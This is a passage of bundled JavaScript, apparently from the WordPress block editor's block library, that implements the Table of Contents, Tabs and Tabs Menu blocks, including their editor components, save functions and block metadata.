        node.children ? /* @__PURE__ */ (0, import_jsx_runtime497.jsx)(NestedListTag, { children: /* @__PURE__ */ (0, import_jsx_runtime497.jsx)(
          TableOfContentsList,
          {
            nestedHeadingList: node.children,
            disableLinkActivation,
            onClick: disableLinkActivation &amp;&amp; &quot;function&quot; === typeof onClick ? onClick : void 0,
            ordered
          }
        ) }) : null
      ] }, index);
    }) });
  }

  // packages/block-library/build-module/table-of-contents/utils.mjs
  function linearToNestedHeadingList(headingList) {
    const nestedHeadingList = [];
    headingList.forEach((heading, key) =&gt; {
      if (heading.content === &quot;&quot;) {
        return;
      }
      if (heading.level === headingList[0].level) {
        if (headingList[key + 1]?.level &gt; heading.level) {
          let endOfSlice = headingList.length;
          for (let i2 = key + 1; i2 &lt; headingList.length; i2++) {
            if (headingList[i2].level === heading.level) {
              endOfSlice = i2;
              break;
            }
          }
          nestedHeadingList.push({
            heading,
            children: linearToNestedHeadingList(
              headingList.slice(key + 1, endOfSlice)
            )
          });
        } else {
          nestedHeadingList.push({
            heading,
            children: null
          });
        }
      }
    });
    return nestedHeadingList;
  }

  // packages/block-library/build-module/table-of-contents/hooks.mjs
  var import_es6 = __toESM(require_es6(), 1);
  var import_data142 = __toESM(require_data(), 1);
  var import_dom12 = __toESM(require_dom(), 1);
  var import_element125 = __toESM(require_element(), 1);
  var import_url21 = __toESM(require_url(), 1);
  var import_block_editor257 = __toESM(require_block_editor(), 1);
  function getLatestHeadings(select9, clientId) {
    const {
      getBlockAttributes: getBlockAttributes4,
      getBlockName,
      getBlocksByName,
      getClientIdsOfDescendants
    } = select9(import_block_editor257.store);
    const permalink = select9(&quot;core/editor&quot;).getPermalink() ?? null;
    const isPaginated = getBlocksByName(&quot;core/nextpage&quot;).length !== 0;
    const { onlyIncludeCurrentPage, maxLevel } = getBlockAttributes4(clientId) ?? {};
    const [postContentClientId = &quot;&quot;] = getBlocksByName(&quot;core/post-content&quot;);
    const allBlockClientIds = getClientIdsOfDescendants(postContentClientId);
    let tocPage = 1;
    if (isPaginated &amp;&amp; onlyIncludeCurrentPage) {
      const tocIndex = allBlockClientIds.indexOf(clientId);
      for (const [
        blockIndex,
        blockClientId
      ] of allBlockClientIds.entries()) {
        if (blockIndex &gt;= tocIndex) {
          break;
        }
        if (getBlockName(blockClientId) === &quot;core/nextpage&quot;) {
          tocPage++;
        }
      }
    }
    const latestHeadings = [];
    let headingPage = 1;
    let headingPageLink = null;
    if (typeof permalink === &quot;string&quot;) {
      headingPageLink = isPaginated ? (0, import_url21.addQueryArgs)(permalink, { page: headingPage }) : permalink;
    }
    for (const blockClientId of allBlockClientIds) {
      const blockName = getBlockName(blockClientId);
      if (blockName === &quot;core/nextpage&quot;) {
        headingPage++;
        if (onlyIncludeCurrentPage &amp;&amp; headingPage &gt; tocPage) {
          break;
        }
        if (typeof permalink === &quot;string&quot;) {
          headingPageLink = (0, import_url21.addQueryArgs)(
            (0, import_url21.removeQueryArgs)(permalink, [&quot;page&quot;]),
            { page: headingPage }
          );
        }
      } else if (!onlyIncludeCurrentPage || headingPage === tocPage) {
        if (blockName === &quot;core/heading&quot;) {
          const headingAttributes = getBlockAttributes4(blockClientId);
          if (maxLevel &amp;&amp; headingAttributes.level &gt; maxLevel) {
            continue;
          }
          const canBeLinked = typeof headingPageLink === &quot;string&quot; &amp;&amp; typeof headingAttributes.anchor === &quot;string&quot; &amp;&amp; headingAttributes.anchor !== &quot;&quot;;
          latestHeadings.push({
            // Convert line breaks to spaces, and get rid of HTML tags in the headings.
            content: (0, import_dom12.__unstableStripHTML)(
              headingAttributes.content.replace(
                /(&lt;br *\/?&gt;)+/g,
                &quot; &quot;
              )
            ),
            level: headingAttributes.level,
            link: canBeLinked ? `${headingPageLink}#${headingAttributes.anchor}` : null
          });
        }
      }
    }
    return latestHeadings;
  }
  function observeCallback(select9, dispatch, clientId) {
    const { getBlockAttributes: getBlockAttributes4 } = select9(import_block_editor257.store);
    const { updateBlockAttributes, __unstableMarkNextChangeAsNotPersistent } = dispatch(import_block_editor257.store);
    const attributes2 = getBlockAttributes4(clientId);
    if (attributes2 === null) {
      return;
    }
    const headings = getLatestHeadings(select9, clientId);
    if (!(0, import_es6.default)(headings, attributes2.headings)) {
      window.queueMicrotask(() =&gt; {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(clientId, { headings });
      });
    }
  }
  function useObserveHeadings(clientId) {
    const registry = (0, import_data142.useRegistry)();
    (0, import_element125.useEffect)(() =&gt; {
      return registry.subscribe(
        () =&gt; observeCallback(registry.select, registry.dispatch, clientId)
      );
    }, [registry, clientId]);
  }

  // packages/block-library/build-module/table-of-contents/edit.mjs
  var import_jsx_runtime498 = __toESM(require_jsx_runtime(), 1);
  function TableOfContentsEdit({
    attributes: {
      headings = [],
      onlyIncludeCurrentPage,
      maxLevel,
      ordered = true
    },
    clientId,
    setAttributes
  }) {
    useObserveHeadings(clientId);
    const blockProps = (0, import_block_editor258.useBlockProps)();
    const instanceId = (0, import_compose58.useInstanceId)(
      TableOfContentsEdit,
      &quot;table-of-contents&quot;
    );
    const { createWarningNotice } = (0, import_data143.useDispatch)(import_notices18.store);
    const showRedirectionPreventedNotice = (event) =&gt; {
      event.preventDefault();
      createWarningNotice((0, import_i18n240.__)(&quot;Links are disabled in the editor.&quot;), {
        id: `block-library/core/table-of-contents/redirection-prevented/${instanceId}`,
        type: &quot;snackbar&quot;
      });
    };
    const canInsertList = (0, import_data143.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId, canInsertBlockType } = select9(import_block_editor258.store);
        const rootClientId = getBlockRootClientId(clientId);
        return canInsertBlockType(&quot;core/list&quot;, rootClientId);
      },
      [clientId]
    );
    const { replaceBlocks } = (0, import_data143.useDispatch)(import_block_editor258.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const headingTree = linearToNestedHeadingList(headings);
    const toolbarControls = /* @__PURE__ */ (0, import_jsx_runtime498.jsxs)(import_block_editor258.BlockControls, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime498.jsxs)(import_components159.ToolbarGroup, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
          import_components159.ToolbarButton,
          {
            icon: (0, import_i18n240.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
            title: (0, import_i18n240.__)(&quot;Unordered&quot;),
            description: (0, import_i18n240.__)(&quot;Convert to unordered list&quot;),
            onClick: () =&gt; setAttributes({ ordered: false }),
            isActive: ordered === false
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
          import_components159.ToolbarButton,
          {
            icon: (0, import_i18n240.isRTL)() ? format_list_numbered_rtl_default : format_list_numbered_default,
            title: (0, import_i18n240.__)(&quot;Ordered&quot;),
            description: (0, import_i18n240.__)(&quot;Convert to ordered list&quot;),
            onClick: () =&gt; setAttributes({ ordered: true }),
            isActive: ordered === true
          }
        )
      ] }),
      canInsertList &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(import_components159.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
        import_components159.ToolbarButton,
        {
          onClick: () =&gt; replaceBlocks(
            clientId,
            (0, import_blocks113.createBlock)(&quot;core/list&quot;, {
              ordered,
              values: (0, import_element126.renderToString)(
                /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
                  TableOfContentsList,
                  {
                    nestedHeadingList: headingTree,
                    ordered
                  }
                )
              )
            })
          ),
          children: (0, import_i18n240.__)(&quot;Convert to static list&quot;)
        }
      ) })
    ] });
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(import_block_editor258.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime498.jsxs)(
      import_components159.__experimentalToolsPanel,
      {
        label: (0, import_i18n240.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            onlyIncludeCurrentPage: false,
            maxLevel: void 0,
            ordered: true
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
            import_components159.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!onlyIncludeCurrentPage,
              label: (0, import_i18n240.__)(&quot;Only include current page&quot;),
              onDeselect: () =&gt; setAttributes({ onlyIncludeCurrentPage: false }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
                import_components159.ToggleControl,
                {
                  label: (0, import_i18n240.__)(&quot;Only include current page&quot;),
                  checked: onlyIncludeCurrentPage,
                  onChange: (value) =&gt; setAttributes({ onlyIncludeCurrentPage: value }),
                  help: onlyIncludeCurrentPage ? (0, import_i18n240.__)(
                    &quot;Only including headings from the current page (if the post is paginated).&quot;
                  ) : (0, import_i18n240.__)(
                    &quot;Include headings from all pages (if the post is paginated).&quot;
                  )
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
            import_components159.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!maxLevel,
              label: (0, import_i18n240.__)(&quot;Limit heading levels&quot;),
              onDeselect: () =&gt; setAttributes({ maxLevel: void 0 }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
                import_components159.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n240.__)(&quot;Include headings down to level&quot;),
                  value: maxLevel || &quot;&quot;,
                  options: [
                    { value: &quot;&quot;, label: (0, import_i18n240.__)(&quot;All levels&quot;) },
                    { value: &quot;1&quot;, label: (0, import_i18n240.__)(&quot;Heading 1&quot;) },
                    { value: &quot;2&quot;, label: (0, import_i18n240.__)(&quot;Heading 2&quot;) },
                    { value: &quot;3&quot;, label: (0, import_i18n240.__)(&quot;Heading 3&quot;) },
                    { value: &quot;4&quot;, label: (0, import_i18n240.__)(&quot;Heading 4&quot;) },
                    { value: &quot;5&quot;, label: (0, import_i18n240.__)(&quot;Heading 5&quot;) },
                    { value: &quot;6&quot;, label: (0, import_i18n240.__)(&quot;Heading 6&quot;) }
                  ],
                  onChange: (value) =&gt; setAttributes({
                    maxLevel: value ? parseInt(value) : void 0
                  }),
                  help: !maxLevel ? (0, import_i18n240.__)(
                    &quot;Including all heading levels in the table of contents.&quot;
                  ) : (0, import_i18n240.__)(
                    &quot;Only include headings up to and including this level.&quot;
                  )
                }
              )
            }
          )
        ]
      }
    ) });
    if (headings.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime498.jsxs)(import_jsx_runtime498.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
          import_components159.Placeholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(import_block_editor258.BlockIcon, { icon: table_of_contents_default }),
            label: (0, import_i18n240.__)(&quot;Table of Contents&quot;),
            instructions: (0, import_i18n240.__)(
              &quot;Start adding Heading blocks to create a table of contents. Headings with HTML anchors will be linked here.&quot;
            )
          }
        ) }),
        inspectorControls
      ] });
    }
    const ListTag = ordered ? &quot;ol&quot; : &quot;ul&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime498.jsxs)(import_jsx_runtime498.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(&quot;nav&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(ListTag, { children: /* @__PURE__ */ (0, import_jsx_runtime498.jsx)(
        TableOfContentsList,
        {
          nestedHeadingList: headingTree,
          disableLinkActivation: true,
          onClick: showRedirectionPreventedNotice,
          ordered
        }
      ) }) }),
      toolbarControls,
      inspectorControls
    ] });
  }

  // packages/block-library/build-module/table-of-contents/save.mjs
  var import_block_editor259 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime499 = __toESM(require_jsx_runtime(), 1);
  function save51({
    attributes: { headings = [], ordered = true }
  }) {
    if (headings.length === 0) {
      return null;
    }
    const ListTag = ordered ? &quot;ol&quot; : &quot;ul&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime499.jsx)(&quot;nav&quot;, { ...import_block_editor259.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime499.jsx)(ListTag, { children: /* @__PURE__ */ (0, import_jsx_runtime499.jsx)(
      TableOfContentsList,
      {
        nestedHeadingList: linearToNestedHeadingList(headings),
        ordered
      }
    ) }) });
  }

  // packages/block-library/build-module/table-of-contents/index.mjs
  var { name: name108 } = block_default107;
  var settings107 = {
    icon: table_of_contents_default,
    edit: TableOfContentsEdit,
    save: save51,
    example: {
      innerBlocks: [
        {
          name: &quot;core/heading&quot;,
          attributes: {
            level: 2,
            content: (0, import_i18n241.__)(&quot;Heading&quot;)
          }
        },
        {
          name: &quot;core/heading&quot;,
          attributes: {
            level: 3,
            content: (0, import_i18n241.__)(&quot;Subheading&quot;)
          }
        },
        {
          name: &quot;core/heading&quot;,
          attributes: {
            level: 2,
            content: (0, import_i18n241.__)(&quot;Heading&quot;)
          }
        },
        {
          name: &quot;core/heading&quot;,
          attributes: {
            level: 3,
            content: (0, import_i18n241.__)(&quot;Subheading&quot;)
          }
        }
      ],
      attributes: {
        headings: [
          {
            content: (0, import_i18n241.__)(&quot;Heading&quot;),
            level: 2
          },
          {
            content: (0, import_i18n241.__)(&quot;Subheading&quot;),
            level: 3
          },
          {
            content: (0, import_i18n241.__)(&quot;Heading&quot;),
            level: 2
          },
          {
            content: (0, import_i18n241.__)(&quot;Subheading&quot;),
            level: 3
          }
        ]
      }
    }
  };
  var init107 = () =&gt; initBlock({ name: name108, metadata: block_default107, settings: settings107 });

  // packages/block-library/build-module/tabs/index.mjs
  var tabs_exports = {};
  __export(tabs_exports, {
    init: () =&gt; init108,
    metadata: () =&gt; block_default108,
    name: () =&gt; name109,
    settings: () =&gt; settings108
  });
  var import_i18n242 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/tabs/edit.mjs
  var import_block_editor260 = __toESM(require_block_editor(), 1);
  var import_data144 = __toESM(require_data(), 1);
  var import_element127 = __toESM(require_element(), 1);

  // packages/block-library/build-module/tabs/controls.mjs
  var import_jsx_runtime500 = __toESM(require_jsx_runtime(), 1);
  function Controls4({ clientId }) {
    return /* @__PURE__ */ (0, import_jsx_runtime500.jsxs)(import_jsx_runtime500.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime500.jsx)(AddTabToolbarControl, { tabsClientId: clientId }),
      /* @__PURE__ */ (0, import_jsx_runtime500.jsx)(RemoveTabToolbarControl, { tabsClientId: clientId })
    ] });
  }

  // packages/block-library/build-module/tabs/edit.mjs
  var import_jsx_runtime501 = __toESM(require_jsx_runtime(), 1);
  var TABS_TEMPLATE = [
    [
      &quot;core/tabs-menu&quot;,
      {
        lock: {
          remove: true
        }
      }
    ],
    [
      &quot;core/tab-panel&quot;,
      {
        lock: {
          remove: true
        }
      },
      [
        [
          &quot;core/tab&quot;,
          {
            anchor: &quot;tab-1&quot;,
            label: &quot;Tab 1&quot;
          },
          [[&quot;core/paragraph&quot;]]
        ]
      ]
    ]
  ];
  function Edit21({
    clientId,
    attributes: attributes2,
    setAttributes,
    __unstableLayoutClassNames: layoutClassNames
  }) {
    const { anchor, activeTabIndex, editorActiveTabIndex } = attributes2;
    (0, import_element127.useEffect)(() =&gt; {
      if (editorActiveTabIndex === void 0) {
        setAttributes({ editorActiveTabIndex: activeTabIndex });
      }
    }, []);
    const tabs = (0, import_data144.useSelect)(
      (select9) =&gt; {
        const { getBlocks } = select9(import_block_editor260.store);
        const innerBlocks = getBlocks(clientId);
        const tabPanel = innerBlocks.find(
          (block) =&gt; block.name === &quot;core/tab-panel&quot;
        );
        if (!tabPanel) {
          return [];
        }
        return tabPanel.innerBlocks.filter(
          (block) =&gt; block.name === &quot;core/tab&quot;
        );
      },
      [clientId]
    );
    const contextValue = (0, import_element127.useMemo)(() =&gt; {
      const tabList = tabs.map((tab, index) =&gt; ({
        id: tab.attributes.anchor || `tab-${index}`,
        label: tab.attributes.label || &quot;&quot;,
        clientId: tab.clientId,
        index
      }));
      return {
        &quot;core/tabs-list&quot;: tabList,
        &quot;core/tabs-id&quot;: anchor,
        &quot;core/tabs-activeTabIndex&quot;: activeTabIndex,
        &quot;core/tabs-editorActiveTabIndex&quot;: editorActiveTabIndex
      };
    }, [tabs, anchor, activeTabIndex, editorActiveTabIndex]);
    const blockProps = (0, import_block_editor260.useBlockProps)({
      className: layoutClassNames
    });
    const innerBlockProps = (0, import_block_editor260.useInnerBlocksProps)(blockProps, {
      __experimentalCaptureToolbars: true,
      template: TABS_TEMPLATE,
      templateLock: false,
      renderAppender: false
    });
    return /* @__PURE__ */ (0, import_jsx_runtime501.jsx)(import_block_editor260.BlockContextProvider, { value: contextValue, children: /* @__PURE__ */ (0, import_jsx_runtime501.jsxs)(&quot;div&quot;, { ...innerBlockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime501.jsx)(
        Controls4,
        {
          clientId,
          attributes: attributes2,
          setAttributes
        }
      ),
      innerBlockProps.children
    ] }) });
  }
  var edit_default36 = Edit21;

  // packages/block-library/build-module/tabs/save.mjs
  var import_block_editor261 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime502 = __toESM(require_jsx_runtime(), 1);
  function save52({ attributes: attributes2 }) {
    const { anchor } = attributes2;
    const tabsId = anchor;
    const blockProps = import_block_editor261.useBlockProps.save();
    const innerBlocksProps = import_block_editor261.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime502.jsx)(&quot;div&quot;, { ...innerBlocksProps, id: tabsId });
  }

  // packages/block-library/build-module/tabs/block.json
  var block_default108 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    __experimental: true,
    apiVersion: 3,
    name: &quot;core/tabs&quot;,
    title: &quot;Tabs&quot;,
    description: &quot;Display content in a tabbed interface to help users navigate detailed content with ease.&quot;,
    version: &quot;1.0.0&quot;,
    category: &quot;design&quot;,
    textdomain: &quot;default&quot;,
    allowedBlocks: [&quot;core/tabs-menu&quot;, &quot;core/tab-panel&quot;],
    attributes: {
      activeTabIndex: {
        type: &quot;number&quot;,
        default: 0
      },
      editorActiveTabIndex: {
        type: &quot;number&quot;,
        role: &quot;local&quot;
      }
    },
    supports: {
      align: true,
      anchor: true,
      color: {
        text: true,
        background: true,
        __experimentalDefaultControls: {
          text: true,
          background: true
        }
      },
      layout: {
        default: {
          type: &quot;flex&quot;,
          flexWrap: &quot;nowrap&quot;,
          justifyContent: &quot;stretch&quot;,
          verticalAlignment: &quot;stretch&quot;,
          orientation: &quot;vertical&quot;
        },
        allowSwitching: false,
        allowVerticalAlignment: true,
        allowJustification: true,
        allowOrientation: true,
        allowSizingOnChildren: true
      },
      html: false,
      interactivity: true,
      spacing: {
        blockGap: true,
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      renaming: true
    },
    providesContext: {
      &quot;core/tabs-activeTabIndex&quot;: &quot;activeTabIndex&quot;,
      &quot;core/tabs-editorActiveTabIndex&quot;: &quot;editorActiveTabIndex&quot;
    },
    usesContext: [&quot;core/tabs-list&quot;, &quot;core/tabs-id&quot;],
    editorScript: &quot;file:./index.js&quot;,
    editorStyle: &quot;file:./index.css&quot;,
    style: &quot;file:./style-index.css&quot;,
    viewScriptModule: &quot;@wordpress/block-library/tabs/view&quot;
  };

  // packages/block-library/build-module/tabs/index.mjs
  var { name: name109 } = block_default108;
  var settings108 = {
    icon: tabs_default,
    example: {
      innerBlocks: [
        {
          name: &quot;core/tabs-menu&quot;,
          innerBlocks: [{ name: &quot;core/tabs-menu-item&quot; }]
        },
        {
          name: &quot;core/tab-panel&quot;,
          innerBlocks: [1, 2, 3].map((index) =&gt; ({
            name: &quot;core/tab&quot;,
            attributes: {
              label: (0, import_i18n242.sprintf)(
                /** translators: %s: tab index number */
                (0, import_i18n242.__)(&quot;Tab %s&quot;),
                index
              )
            },
            innerBlocks: [
              {
                name: &quot;core/paragraph&quot;,
                attributes: {
                  content: (0, import_i18n242.__)(
                    &quot;In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.&quot;
                  )
                }
              }
            ]
          }))
        }
      ]
    },
    edit: edit_default36,
    save: save52
  };
  var init108 = () =&gt; initBlock({ name: name109, metadata: block_default108, settings: settings108 });

  // packages/block-library/build-module/tabs-menu/index.mjs
  var tabs_menu_exports = {};
  __export(tabs_menu_exports, {
    init: () =&gt; init109,
    metadata: () =&gt; block_default109,
    name: () =&gt; name110,
    settings: () =&gt; settings109
  });

  // packages/block-library/build-module/tabs-menu/edit.mjs
  var import_i18n243 = __toESM(require_i18n(), 1);
  var import_block_editor262 = __toESM(require_block_editor(), 1);
  var import_data145 = __toESM(require_data(), 1);
  var import_element128 = __toESM(require_element(), 1);
  var import_jsx_runtime503 = __toESM(require_jsx_runtime(), 1);
  var TABS_MENU_ITEM_TEMPLATE = [[&quot;core/tabs-menu-item&quot;, {}]];
  var EMPTY_ARRAY6 = [];
  function TabsMenuItemPreview({
    blocks,
    blockContextId,
    isHidden,
    setActiveBlockContextId
  }) {
    const blockPreviewProps = (0, import_block_editor262.__experimentalUseBlockPreview)({ blocks });
    const handleOnClick = () =&gt; {
      setActiveBlockContextId(blockContextId);
    };
    const style2 = {
      display: isHidden ? &quot;none&quot; : &quot;flex&quot;
    };
    return /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(
      &quot;div&quot;,
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: &quot;button&quot;,
        onClick: handleOnClick,
        onKeyDown: handleOnClick,
        style: style2
      }
    );
  }
  var MemoizedTabsMenuItemPreview = (0, import_element128.memo)(TabsMenuItemPreview);
  function TabsMenuItemTemplateBlocks({ wrapperProps = {}, layout }) {
    const innerBlocksProps = (0, import_block_editor262.useInnerBlocksProps)(wrapperProps, {
      template: TABS_MENU_ITEM_TEMPLATE,
      templateLock: &quot;all&quot;,
      renderAppender: false,
      layout
    });
    return innerBlocksProps.children;
  }
  function Edit22({
    context,
    clientId,
    __unstableLayoutClassNames: layoutClassNames
  }) {
    const { layout } = (0, import_block_editor262.useBlockEditContext)();
    const tabsId = context[&quot;core/tabs-id&quot;] || null;
    const tabsList = context[&quot;core/tabs-list&quot;] || EMPTY_ARRAY6;
    const activeTabIndex = context[&quot;core/tabs-activeTabIndex&quot;] ?? 0;
    const editorActiveTabIndex = context[&quot;core/tabs-editorActiveTabIndex&quot;];
    const effectiveActiveIndex = (0, import_element128.useMemo)(() =&gt; {
      return editorActiveTabIndex ?? activeTabIndex;
    }, [editorActiveTabIndex, activeTabIndex]);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data145.useDispatch)(import_block_editor262.store);
    const { updateBlockAttributes } = (0, import_data145.useDispatch)(import_block_editor262.store);
    const [activeBlockContextId, setActiveBlockContextId] = (0, import_element128.useState)(null);
    const { blocks, tabsClientId } = (0, import_data145.useSelect)(
      (select9) =&gt; {
        const { getBlocks, getBlockRootClientId } = select9(import_block_editor262.store);
        return {
          blocks: getBlocks(clientId),
          tabsClientId: getBlockRootClientId(clientId)
        };
      },
      [clientId]
    );
    const blockContexts = (0, import_element128.useMemo)(() =&gt; {
      return tabsList.map((tab, index) =&gt; ({
        &quot;core/tabs-menu-item-index&quot;: index,
        &quot;core/tabs-menu-item-id&quot;: tab.id || `tab-${index}`,
        &quot;core/tabs-menu-item-label&quot;: tab.label || &quot;&quot;,
        &quot;core/tabs-menu-item-clientId&quot;: tab.clientId,
        // Pass through parent context
        &quot;core/tabs-id&quot;: tabsId,
        &quot;core/tabs-list&quot;: tabsList,
        &quot;core/tabs-activeTabIndex&quot;: activeTabIndex,
        &quot;core/tabs-editorActiveTabIndex&quot;: editorActiveTabIndex
      }));
    }, [tabsList, tabsId, activeTabIndex, editorActiveTabIndex]);
    const getContextId = (0, import_element128.useCallback)((blockContext) =&gt; {
      return `tab-context-${blockContext[&quot;core/tabs-menu-item-index&quot;]}`;
    }, []);
    (0, import_element128.useEffect)(() =&gt; {
      if (blockContexts.length &gt; 0 &amp;&amp; activeBlockContextId === null) {
        setActiveBlockContextId(getContextId(blockContexts[0]));
      }
    }, [blockContexts, activeBlockContextId, getContextId]);
    (0, import_element128.useEffect)(() =&gt; {
      if (blockContexts.length &gt; 0 &amp;&amp; effectiveActiveIndex &lt; blockContexts.length) {
        const newContextId = getContextId(
          blockContexts[effectiveActiveIndex]
        );
        setActiveBlockContextId(
          (prevId) =&gt; prevId !== newContextId ? newContextId : prevId
        );
      }
    }, [effectiveActiveIndex, blockContexts, getContextId]);
    const handleTabContextClick = (0, import_element128.useCallback)(
      (index) =&gt; {
        if (tabsClientId &amp;&amp; index !== effectiveActiveIndex) {
          __unstableMarkNextChangeAsNotPersistent();
          updateBlockAttributes(tabsClientId, {
            editorActiveTabIndex: index
          });
        }
      },
      [
        tabsClientId,
        effectiveActiveIndex,
        updateBlockAttributes,
        __unstableMarkNextChangeAsNotPersistent
      ]
    );
    const blockProps = (0, import_block_editor262.useBlockProps)({
      className: clsx_default(layoutClassNames),
      role: &quot;tablist&quot;
    });
    if (tabsList.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime503.jsxs)(import_jsx_runtime503.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(AddTabToolbarControl, { tabsClientId }),
        /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(RemoveTabToolbarControl, { tabsClientId }),
        /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(&quot;span&quot;, { className: &quot;tabs__tab-label tabs__tab-label--placeholder&quot;, children: (0, import_i18n243.__)(&quot;Add tabs to display menu&quot;) }) })
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime503.jsxs)(import_jsx_runtime503.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(AddTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(RemoveTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(&quot;div&quot;, { ...blockProps, children: blockContexts.map((blockContext, index) =&gt; {
        const contextId = getContextId(blockContext);
        const isVisible = contextId === activeBlockContextId;
        return /* @__PURE__ */ (0, import_jsx_runtime503.jsxs)(
          import_block_editor262.BlockContextProvider,
          {
            value: blockContext,
            children: [
              isVisible ? /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(
                TabsMenuItemTemplateBlocks,
                {
                  wrapperProps: {
                    onClick: () =&gt; handleTabContextClick(index)
                  },
                  layout
                }
              ) : null,
              /* @__PURE__ */ (0, import_jsx_runtime503.jsx)(
                MemoizedTabsMenuItemPreview,
                {
                  blocks,
                  blockContextId: contextId,
                  setActiveBlockContextId: (id) =&gt; {
                    setActiveBlockContextId(id);
                    handleTabContextClick(index);
                  },
                  isHidden: isVisible
                }
              )
            ]
          },
          contextId
        );
      }) })
    ] });
  }
  var edit_default37 = Edit22;

  // packages/block-library/build-module/tabs-menu/save.mjs
  var import_block_editor263 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime504 = __toESM(require_jsx_runtime(), 1);
  function save53() {
    const blockProps = import_block_editor263.useBlockProps.save({
      role: &quot;tablist&quot;
    });
    const innerBlocksProps = import_block_editor263.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime504.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/tabs-menu/block.json
  var block_default109 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    __experimental: true,
    apiVersion: 3,
    name: &quot;core/tabs-menu&quot;,
    title: &quot;Tabs Menu&quot;,
    description: &quot;Display the tab buttons for a tabbed interface.&quot;,
    version: &quot;1.0.0&quot;,
    category: &quot;design&quot;,
    textdomain: &quot;default&quot;,
    parent: [&quot;core/tabs&quot;],
    allowedBlocks: [&quot;core/tabs-menu-item&quot;],
    usesContext: [
      &quot;core/tabs-list&quot;,
      &quot;core/tabs-id&quot;,
      &quot;core/tabs-activeTabIndex&quot;,
      &quot;core/tabs-editorActiveTabIndex&quot;
    ],
    attributes: {},
    supports: {
      html: false,
      reusable: false,
      lock: false,
      dimensions: {
        aspectRatio: false,
        height: false,
        minHeight: false,
        width: false
      },
      color: {
        background: true,
        text: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      layout: {
        default: {
          type: &quot;flex&quot;,
          flexWrap: &quot;nowrap&quot;,
          orientation: &quot;horizontal&quot;
        },
        allowSwitching: false,
        allowVerticalAlignment: true,
        allowJustification: true,
        allowOrientation: true
      },
      spacing: {
        padding: true,
        margin: true,
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          margin: true,
          blockGap: true
        }
      }
    },
    editorScript: &quot;file:./index.js&quot;,
    editorStyle: &quot;file:./editor.css&quot;,
    style: &quot;file:./style-index.css&quot;
  };

  // packages/block-library/build-module/tabs-menu/index.mjs
  var { name: name110 } = block_default109;
  var settings109 = {
    icon: tabs_menu_default,
    edit: edit_default37,
    save: save53
  };
  var init109 = () =&gt; initBlock({ name: name110, metadata: block_default109, settings: settings109 });

  // packages/block-library/build-module/tabs-menu-item/index.mjs
  var tabs_menu_item_exports = {};
  __export(tabs_menu_item_exports, {
    init: () =&gt; init110,
